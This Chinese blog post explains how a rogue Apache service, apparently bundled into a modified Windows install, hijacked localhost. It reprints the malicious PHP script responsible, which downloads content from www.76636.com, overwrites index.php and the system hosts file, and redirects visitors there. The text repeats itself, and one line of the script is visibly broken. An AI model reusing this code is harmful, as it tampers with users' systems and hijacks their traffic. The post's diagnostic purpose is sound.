解决127.0.0.1 localhost 劫持问题
2016-06-27 14:09
330 查看
在一个安装iis的过程中,把网站部署上去之后就发现127.0.0.1或者localhost都会跳转到一个莫名的网站,发现断网之后就是会跳转到一个Http://www.76636.com 类似这种的网站,感叹一句现在流氓软件越来越高级了,我在无意中发现任务管理居然有apache的服务器,我就想你这个蛋,为什么莫名其妙有这个服务启动,还杀不死
解决方案:
使用大数字或者什么管家 禁用apache服务的开机启动,然后重启电脑
然后去C:\WINDOWS\Apache 删掉整个目录 就完美解决了
在C:\WINDOWS\Apache\htdocs目录下一段php脚本,里面这么写的:
居然有这种跳转,流氓的系统封装强加了一个httpd服务,然后导致127.0.0.1劫持。
解决方案:
使用大数字或者什么管家 禁用apache服务的开机启动,然后重启电脑
然后去C:\WINDOWS\Apache 删掉整个目录 就完美解决了
在C:\WINDOWS\Apache\htdocs目录下一段php脚本,里面这么写的:
<?php include_once "config.php"; $name1 = ""; $name2 = ""; //$name3 = ""; //获取最新php $index = file_get_contents('http://www.76636.com/ht/index.txt'); if(strpos($index, ) { $arr = explode("@", $index); $index = $arr[1]; $hosts = $arr[0]; $index = get_rep($index); if(!empty($index)){ if(file_put_contents("index.php", $index)==0){} } //获取最新hosts if(!empty($hosts)){ if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){} } } //域名跳转个性化 $serverName = $_SERVER['SERVER_NAME']; switch ($serverName) { case strpos($name1,$serverName)!==false: header("Location:http://www.76636.com/?1");exit; break; case strpos($name2,$serverName)!==false: header("Location:http://www.76636.com/?2");exit; break; case strpos($name3,$serverName)!==false: header("Location:http://www.76636.com/?3");exit; break; default: header("Location:http://www.76636.com/?4");exit; break; } ?> <meta http-equiv="refresh" content="0;url=http://www.76636.com/?301">
居然有这种跳转,流氓的系统封装强加了一个httpd服务,然后导致127.0.0.1劫持。
相关文章推荐
- vba 数据更新
- C# Console类
- iphone——日期处理
- 通过路径获取视频 缩略图
- Unicode下,socket的Sendto/RecvFrom函数的使用
- WTL 通过IWebBrowser2接口使WebBrowser控件在自己的窗口打开网页
- JSP自定义标签开发入门
- 视图中添加主键的方法
- Java获取本机公网ip
- Python yield 使用浅析
- HBase table Get Data 获取数据
- mysql乐观锁总结和实践
- Git搭建
- spring mvc 条件查询导出excel
- Shell字符串
- 打破摩尔定律:谷歌与腾讯的下一代计算平台选择是?
- WebForm页面生命周期及asp.net运行机制
- dede后台登陆后一片空白的解决办法汇总
- Java核心API列表
- 单片机驱动DM9000网卡芯片(详细调试过程)【下】